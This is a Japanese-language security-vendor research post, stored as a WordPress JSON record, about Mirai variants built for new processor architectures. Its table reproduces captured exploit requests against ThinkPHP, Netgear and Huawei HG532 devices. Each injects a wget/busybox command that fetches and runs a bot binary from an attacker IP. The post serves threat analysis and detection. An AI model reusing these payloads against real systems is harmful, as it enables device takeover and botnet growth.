{"id":101689,"date":"2019-04-08T12:00:56","date_gmt":"2019-04-08T19:00:56","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=101689\/"},"modified":"2019-12-01T21:11:19","modified_gmt":"2019-12-02T05:11:19","slug":"mirai-compiled-for-new-processor-surfaces","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/mirai-compiled-for-new-processor-surfaces\/","title":{"rendered":"Mirai\u3001\u65b0\u305f\u306a\u30d7\u30ed\u30bb\u30c3\u30b5\u3092\u653b\u6483\u30b5\u30fc\u30d5\u30a7\u30b9\u306b"},"content":{"rendered":"<h2><a id=\"post-101689-mirai\u65b0\u305f\u306a\u30d7\u30ed\u30bb\u30c3\u30b5\u3092\u653b\u6483\u30b5\u30fc\u30d5\u30a7\u30b9\u306b\"><\/a>\u6982\u8981<\/h2>\n<p>2019\u5e742\u6708\u4e0b\u65ec\u3001Unit 42\u306f\u3053\u308c\u307e\u3067\u898b\u305f\u3053\u3068\u306e\u306a\u3044\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30c3\u30b5\/\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u7528\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305fMirai\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306f2016\u5e7410\u6708\u306b<a href=\"https:\/\/krebsonsecurity.com\/2016\/10\/source-code-for-iot-botnet-mirai-released\/\">\u516c\u958b\u3055\u308c\u3066\u3044\u308b<\/a> \u3082\u306e\u306e\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3053\u308c\u307e\u3067\u306f\u3001\u56fa\u5b9a\u3055\u308c\u305f\u30d7\u30ed\u30bb\u30c3\u30b5\/\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u306e\u30bb\u30c3\u30c8\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Unit 42\u306f\u3001\u65b0\u305f\u306b\u767a\u898b\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u304cAltera Nios II\u3001OpenRISC\u3001Tensilica Xtensa\u3001Xilinx MicroBlaze\u30d7\u30ed\u30bb\u30c3\u30b5\u7528\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u306a\u304a\u3001Mirai\u304c\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30c3\u30b5\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u3001\u30b5\u30f3\u30d7\u30eb\u30bf\u30fc\u30b2\u30c3\u30c8\u5411\u3051\u306b\u62e1\u5f35\u3055\u308c\u305f\u306e\u306f\u4eca\u56de\u304c\u521d\u3081\u3066\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002 \u904e\u53bb\u306b\u3082<a href=\"https:\/\/www.theregister.co.uk\/2018\/01\/16\/arc_iot_botnet_malware\/\">ARC CPU<\/a>\u7528\u306e\u3082\u306e\u304c2018\u5e741\u6708\u306b\u767a\u898b\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3068\u306f\u3044\u3048\u3001\u4eca\u56de\u898b\u3064\u304b\u3063\u305f\u3088\u3046\u306a\u65b0\u305f\u306a\u30d7\u30ed\u30bb\u30c3\u30b5\u3078\u306e\u5c55\u958b\u306f\u3001Mirai\u306e\u958b\u767a\u8005\u304c\u7a4d\u6975\u7684\u306b\u9769\u65b0\u3092\u8ffd\u3044\u6c42\u3081\u3001\u5897\u3048\u7d9a\u3051\u308bIoT\u30c7\u30d0\u30a4\u30b9\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30012016\u5e74\u306eDyn\u304a\u3088\u3073\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d6\u30ed\u30ac\u30fc\u306eBrian Krebs\u306e\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306b\u5bfe\u3059\u308b\u5927\u898f\u6a21\u306a\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u653b\u6483\u306b\u4f7f\u7528\u3055\u308c\u305f\u3053\u3068\u3067\u60aa\u540d\u9ad8\u3044\u3082\u306e\u3067\u3059\u3002\u3053\u3046\u3057\u305f\u6700\u65b0\u306e\u6280\u8853\u9769\u65b0\u306b\u3088\u3063\u3066\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u6570\u304c\u5897\u52a0\u3059\u308c\u3070\u3001Mirai\u306e\u653b\u6483\u8005\u306f\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u653b\u6483\u529b\u3092\u3055\u3089\u306b\u9ad8\u3081\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u672c\u7a3f\u3067\u306f\u3001\u3053\u308c\u3089\u65b0\u3057\u3044\u30b5\u30f3\u30d7\u30eb\u3067\u898b\u3064\u304b\u3063\u305f\u65b0\u6a5f\u80fd\u3092\u7d39\u4ecb\u3057\u3001\u89b3\u6e2c\u3057\u305f\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u3001\u65e2\u77e5\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u307b\u304b\u306eMirai\u30b5\u30f3\u30d7\u30eb\u304c\u65b0\u3057\u3044\u30b5\u30f3\u30d7\u30eb\u3068\u540c\u3058\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3067\u30db\u30b9\u30c8\u3055\u308c\u305f\u69d8\u5b50\u3092\u793a\u3057\u307e\u3059\u3002 \u307e\u305f\u3001\u3053\u308c\u3089\u306e\u65b0\u3057\u3044\u30b5\u30f3\u30d7\u30eb\u7528\u306eIOC(\u4fb5\u5bb3\u306e\u75d5\u8de1)\u306b\u3064\u3044\u3066\u3082\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n<p>Mirai\u305d\u306e\u307b\u304b\u306e\u8105\u5a01\u304b\u3089\u306e\u4fdd\u8b77\u306b\u3042\u305f\u308a\u3001\u7d44\u7e54\u306f\u6700\u65b0\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u9069\u7528\u3057\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3067IoT\u30c7\u30d0\u30a4\u30b9\u3092\u4fdd\u8b77\u3059\u308b\u3053\u3068\u3092\u512a\u5148\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-101689-\u898b\u3064\u304b\u3063\u305f\u65b0\u3057\u3044\u30b5\u30f3\u30d7\u30eb\u306e\u65b0\u6a5f\u80fd\"><\/a>\u898b\u3064\u304b\u3063\u305f\u65b0\u3057\u3044\u30b5\u30f3\u30d7\u30eb\u306e\u65b0\u6a5f\u80fd<\/h2>\n<p>\u4eca\u56de\u89b3\u6e2c\u3057\u305fMirai\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u524d\u8ff0\u306e\u65b0\u3057\u3044\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u7528\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u306b\u52a0\u3048\u3001\u4ee5\u4e0b\u306e\u65b0\u3057\u3044\u6a5f\u80fd\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li>\u6697\u53f7\u5316\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u3053\u308c\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u306f\u3001\u30aa\u30ea\u30b8\u30ca\u30eb\u306eMirai\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u305f\u6a19\u6e96\u306e\u30d0\u30a4\u30c8\u5358\u4f4d\u306eXOR\u3092\u4fee\u6b63\u3057\u3066\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059(<a href=\"https:\/\/github.com\/jgamblin\/Mirai-Source-Code\/blob\/6a5941be681b839eeff8ece1de8b245bcd5ffb02\/mirai\/bot\/table.c#L138\">toggle_obf<\/a>\u95a2\u6570\u5185\u3067\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b)\u3002<\/li>\n<\/ul>\n<p>11\u500b\u306e8\u30d0\u30a4\u30c8\u9577\u306e\u9375\u3092\u4f7f\u7528\u3057\u3066\u3044\u3066\u3001\u3053\u308c\u3089\u3059\u3079\u3066\u306e\u9375\u3092\u7d2f\u7a4d\u3057\u3066\u30d0\u30a4\u30c8\u5358\u4f4d\u3067XOR\u6f14\u7b97\u3057\u305f\u7d50\u679c\u3092\u6700\u7d42\u7684\u306a\u7d50\u679c\u306e\u9375\u3068\u3057\u3066\u53d6\u5f97\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u3064\u3044\u3066\u306f\u6b21\u306e\u30b3\u30fc\u30c9\u30b9\u30cb\u30da\u30c3\u30c8\u3092\u898b\u305f\u307b\u3046\u304c\u5206\u304b\u308a\u3084\u3059\u3044\u3067\u3057\u3087\u3046\u3002<\/p>\n<pre class=\"lang:default decode:true\">tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]\r\n\r\nxor_key = 0\r\n\r\nfor key in tablekeys:\r\n\r\nxor_key ^= key&amp;0xff ^ (key&gt;&gt;8 &amp; 0xff) ^ (key&gt;&gt;16 &amp; 0xfF) ^ (key&gt;&gt;24 &amp; 0xff)<\/pre>\n<p>\u5b9f\u969b\u306b\u306f\u3001\u3053\u308c\u306f0x5A\u3068\u30d0\u30a4\u30c8\u5358\u4f4d\u3067XOR\u6f14\u7b97\u3059\u308b\u306e\u3068\u540c\u3058\u7d50\u679c\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<ul>\n<li>attack_method_ovh: \u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6301\u3064DDoS\u653b\u6483\u30aa\u30d7\u30b7\u30e7\u30f3\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<\/ul>\n<pre class=\"lang:default decode:true\">ATK_OPT_IP_TOS = 0\r\n\r\nATK_OPT_IP_IDENT = 0xFFFF\r\n\r\nATK_OPT_IP_TTL = 64\r\n\r\nATK_OPT_IP_DF = 1\r\n\r\nATK_OPT_SPORT = 0xFFFF\r\n\r\nATK_OPT_DPORT = 0xFFFF\r\n\r\nATK_OPT_SEQRND = 0xFFFF\r\n\r\nATK_OPT_ACKRND = 0\r\n\r\nATK_OPT_URG = 0\r\n\r\nATK_OPT_ACK = 0\r\n\r\nATK_OPT_PSH = 0\r\n\r\nATK_OPT_RST = 0\r\n\r\nATK_OPT_SYN = 1\r\n\r\nATK_OPT_FIN = 0\r\n\r\nATK_OPT_SOURCE = LOCAL_ADDR<\/pre>\n<p>\u3053\u308c\u3089\u306f\u3001\u5143\u306eMirai\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u542b\u307e\u308c\u3066\u3044\u305f\u653b\u6483\u65b9\u6cd5\u300cTCP SYN\u300d\u3068\u307e\u3063\u305f\u304f\u540c\u3058\u30d1\u30e9\u30e1\u30fc\u30bf\u3067\u3059(<a href=\"https:\/\/github.com\/jgamblin\/Mirai-Source-Code\/blob\/6a5941be681b839eeff8ece1de8b245bcd5ffb02\/mirai\/bot\/attack_tcp.c#L18\">attack_method_tcpsyn<\/a>)\u3002\u540c\u3058\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u6301\u3064\u65b0\u3057\u3044\u653b\u6483\u65b9\u6cd5\u3092\u7d44\u307f\u8fbc\u3093\u3060\u7406\u7531\u306f\u4e0d\u660e\u3067\u3059\u3002<\/p>\n<p>\u5f0a\u793eAutoFocus\u3092\u5229\u7528\u3057\u3066\u3053\u306e\u653b\u6483\u65b9\u6cd5\u3092\u8ef8\u306b\u63a2\u7d22\u7bc4\u56f2\u3092\u5e83\u3052\u308b\u3068\u30012018\u5e7411\u6708\u4ee5\u964d\u306b\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u3067\u89b3\u6e2c\u3055\u308c\u3066\u3044\u305f\u65e2\u77e5\u306e\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u7528\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u306a\u304b\u306b\u3082\u3001\u3053\u308c\u3089\u306e\u653b\u6483\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u63a1\u7528\u3057\u3066\u3044\u308b\u3082\u306e\u304c\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002<\/p>\n<h2><a id=\"post-101689-\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\"><\/a>\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3<\/h2>\n<p>\u3053\u308c\u3089\u6700\u65b0\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u4e00\u6642\u671f\u3001\u3042\u308b\u5358\u4e00\u306e IP \u30a2\u30c9\u30ec\u30b9\u4e0a\u306b\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3055\u308c\u3066\u304a\u308a\u3001\u305d\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306f\u5236\u9650\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u305d\u306e\u5f8c2019\u5e742\u670822\u65e5\u306b\u5f53\u8a72\u30b5\u30fc\u30d0\u30fc\u306f\u30d5\u30a1\u30a4\u30eb\u4e00\u89a7\u306b\u30a2\u30af\u30bb\u30b9\u5236\u9650\u3092\u304b\u3051\u307e\u3057\u305f\u304c\u3001\u30d5\u30a1\u30a4\u30eb\u306e\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u81ea\u4f53\u306f\u7d99\u7d9a\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<figure id=\"attachment_101690\" aria-describedby=\"caption-attachment-101690\" style=\"width: 606px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101690 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-30.png\" alt=\"\u56f31 Mirai\u306e\u4e9c\u7a2e\u3092\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3057\u3066\u3044\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30d5\u30a1\u30a4\u30eb\u4e00\u89a7\" width=\"606\" height=\"927\" srcset=\"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-30.png 606w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-30-196x300.png 196w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-30-370x566.png 370w\" sizes=\"(max-width: 606px) 100vw, 606px\" \/><figcaption id=\"caption-attachment-101690\" class=\"wp-caption-text\">\u56f31 Mirai\u306e\u4e9c\u7a2e\u3092\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3057\u3066\u3044\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30d5\u30a1\u30a4\u30eb\u4e00\u89a7<\/figcaption><\/figure>\n<p>2\u670822\u65e5\u306e\u8a2d\u5b9a\u66f4\u65b0\u4ee5\u524d\u306b\u306f\u3001\u5f53\u8a72IP\u4e0a\u306b\u3001Mirai\u306e\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u3066\u3044\u308b\u4ee5\u4e0b\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u542b\u3080\u30b5\u30f3\u30d7\u30eb\u304c\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089Mirai\u306e\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3068\u3001\u4eca\u56de\u65b0\u3057\u304f\u767a\u898b\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306e\u4e21\u65b9\u306b\u3001\u3053\u308c\u3089\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u5b58\u5728\u3057\u3066\u3044\u308b\u3053\u3068\u304b\u3089\u3001\u3053\u308c\u30892\u3064\u306b\u306f\u95a2\u9023\u304c\u3042\u308b\u3053\u3068\u3001\u540c\u4e00\u306e\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3053\u3068\u304c\u793a\u5506\u3055\u308c\u307e\u3059\u3002\u5229\u7528\u3055\u308c\u3066\u3044\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4ee5\u4e0b\u306e\u88681\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<table style=\"width: 100%;\">\n<tbody>\n<tr>\n<td style=\"width: 20.8904%;\"><strong>\u8106\u5f31\u6027<\/strong><\/td>\n<td style=\"width: 78.1963%;\"><strong>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u5f62\u5f0f<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.8904%;\"><a href=\"https:\/\/www.exploit-db.com\/exploits\/45978\">ThinkPHP\u306b\u3088\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c<\/a><\/td>\n<td style=\"width: 78.1963%;\">GET \/to\/thinkphp5.1.29\/?s=index\/ hinkContainer\/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]= 'wget http:\/\/178.62.227[.]13\/wrgjwrgjwrg246356356356\/hx86 -O \/tmp\/Hito; chmod 777 \/tmp\/Hito; \/tmp\/Hito wget.exploit.selfrep.thinkphp' HTTP\/1.1<\/p>\n<p>Connection: keep-alive<\/p>\n<p>Accept-Encoding: gzip, deflate<\/p>\n<p>Accept: \/<\/p>\n<p>User-Agent: Hito\/2.0<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.8904%;\"><a href=\"https:\/\/www.exploit-db.com\/exploits\/44760\/\">D-Link DSL2750B OS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/a><\/td>\n<td style=\"width: 78.1963%;\"><img width=\"1268\" height=\"704\"  class=\"wp-image-101692 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31.png\" srcset=\"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31.png 1268w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31-300x167.png 300w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31-1024x569.png 1024w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31-768x426.png 768w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31-900x500.png 900w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-31-370x205.png 370w\" sizes=\"(max-width: 1268px) 100vw, 1268px\" \/><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.8904%;\"><a href=\"https:\/\/www.exploit-db.com\/exploits\/43055\/\">Netgear\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c<\/a><\/td>\n<td style=\"width: 78.1963%;\">GET \/setup.cgi?next_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+\/tmp\/*;\/bin\/busybox+wget+-g+178.62.227[.]13+-l+\/tmp\/binary+-r+\/wrgjwrgjwrg246356356356\/hmips;+\/bin\/busybox+chmod 777+*+\/tmp\/binary;\/tmp\/binary+wget.selfrep.exploit.netgear&amp;curpath=\/&amp;currentsetting.htm=1 HTTP\/1.0<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.8904%;\"><a href=\"https:\/\/packetstormsecurity.com\/files\/cve\/CVE-2014-8361\">CVE-2014-8361<\/a><\/td>\n<td style=\"width: 78.1963%;\">&nbsp;<\/p>\n<p><img width=\"1384\" height=\"1038\"  class=\"wp-image-101694 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32.png\" srcset=\"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32.png 1384w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32-300x225.png 300w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32-1024x768.png 1024w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32-768x576.png 768w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32-900x675.png 900w, https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-32-370x278.png 370w\" sizes=\"(max-width: 1384px) 100vw, 1384px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.8904%;\"><a href=\"https:\/\/www.huawei.com\/en\/psirt\/security-notices\/huawei-sn-20171130-01-hg532-en\">CVE-2017-17215<\/a><\/td>\n<td style=\"width: 78.1963%;\">POST \/ctrlt\/DeviceUpgrade_1 HTTP\/1.1<\/p>\n<p>Content-Length: 430<\/p>\n<p>Connection: keep-alive<\/p>\n<p>Accept: *\/*<\/p>\n<p>Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\u2033, uri=\"\/ctrlt\/DeviceUpgrade_1\u2033, response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\u2033, qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\u2033<\/p>\n<p>&lt;s:Envelope xmlns:s=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" s:encodingStyle=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\"&gt;&lt;s:Body&gt;&lt;u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\u2033&gt;&lt;NewStatusURL&gt;$(\/bin\/busybox wget -g 178.62.227.13 -l \/tmp\/binary -r \/wrgjwrgjwrg246356356356\/hmips; \/bin\/busybox chmod 777 * \/tmp\/binary; \/tmp\/binary wget.selfrep.exploit.huawei)&lt;\/NewStatusURL&gt;&lt;NewDownloadURL&gt;$(echo HUAWEIUPNP)&lt;\/NewDownloadURL&gt;&lt;\/u:Upgrade&gt;&lt;\/s:Body&gt;&lt;\/s:Envelope&gt;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><em>\u886812\u670822\u65e5\u4ee5\u524d\u306b178.62.227[.]13\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u305fMirai\u4e9c\u7a2e\u306b\u542b\u307e\u308c\u3066\u3044\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/em><em>\u00a0<\/em><\/p>\n<h2><a id=\"post-101689-\u7d50\u8ad6\"><\/a>\u7d50\u8ad6<\/h2>\n<p>Mirai\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306f\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306a\u306e\u3067\u3001\u3088\u308a\u5e45\u5e83\u3044\u7a2e\u985e\u306e\u30d7\u30ed\u30bb\u30c3\u30b5\u7528\u306b\u540c\u4e00\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u30b3\u30f3\u30d1\u30a4\u30eb\u3059\u308b\u3068\u3044\u3046\u305f\u3063\u305f\u305d\u308c\u3060\u3051\u306e\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306f\u3088\u308a\u5927\u304d\u306a\u653b\u6483\u9762\u3068\u3044\u3046\u512a\u4f4d\u6027\u3092\u5f97\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u5b9f\u8cea\u7684\u306b\u3053\u308c\u306fMirai\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u304c\u73fe\u5728\u3088\u308a\u3088\u308a\u591a\u304f\u306e\u7d44\u307f\u8fbc\u307f\u30c7\u30d0\u30a4\u30b9\u3092\u4ecb\u3057\u3066\u611f\u67d3\u30fb\u62e1\u6563\u3067\u304d\u308b\u3053\u3068\u3092\u610f\u5473\u3057\u3066\u304a\u308a\u3001\u653b\u6483\u8005\u306f\u3055\u3089\u306b\u5927\u304d\u306aDDoS\u653b\u6483\u529b\u3092\u624b\u306b\u5165\u308c\u3089\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u65b9\u6cd5\u3067\u3053\u306e\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>WildFire\u306f\u672c\u7a3f\u306b\u8a18\u8f09\u3057\u305f\u3059\u3079\u3066\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u691c\u51fa\u3057\u300cMalicious(\u60aa\u610f\u306e\u3042\u308b)\u300d\u3082\u306e\u3068\u5224\u5b9a\u3057\u307e\u3059\uff61<\/li>\n<li>\u3053\u308c\u3089\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u9023\u3057\u305f\u3059\u3079\u3066\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3001IP\u3001URL\u306f\u3001Threat Prevention\u3068PAN DB\u306b\u3088\u3063\u3066\u30d6\u30ed\u30c3\u30af\u3055\u308c\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>AutoFocus\u3092\u304a\u4f7f\u3044\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u30bf\u30b0\u3092\u4f7f\u7528\u3057\u3066\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u8ffd\u8de1\u3067\u304d\u307e\u3059\uff61<\/p>\n<ul>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.ThinkPHP_RCE\">ThinkPHP RCE<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.DLinkDSL2750BOSCmdInjection\">DLinkDSL2750BOSCmdInjection<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.NetgearRCE\">Netgear RCE<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.CVE-2014-8361\">CVE-2014-8361<\/a><\/li>\n<li><a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.CVE-2017-17215\">CVE-2017-17215<\/a><\/li>\n<\/ul>\n<p>\u672c\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u306f\u3001\u6b21\u306eAutoFocus\u30bf\u30b0\u3067\u8ffd\u8de1\u3067\u304d\u307e\u3059: <a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.ELFMirai\">ELFMirai<\/a><\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u672c\u7a3f\u3067\u898b\u3064\u304b\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u3075\u304f\u3080\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat 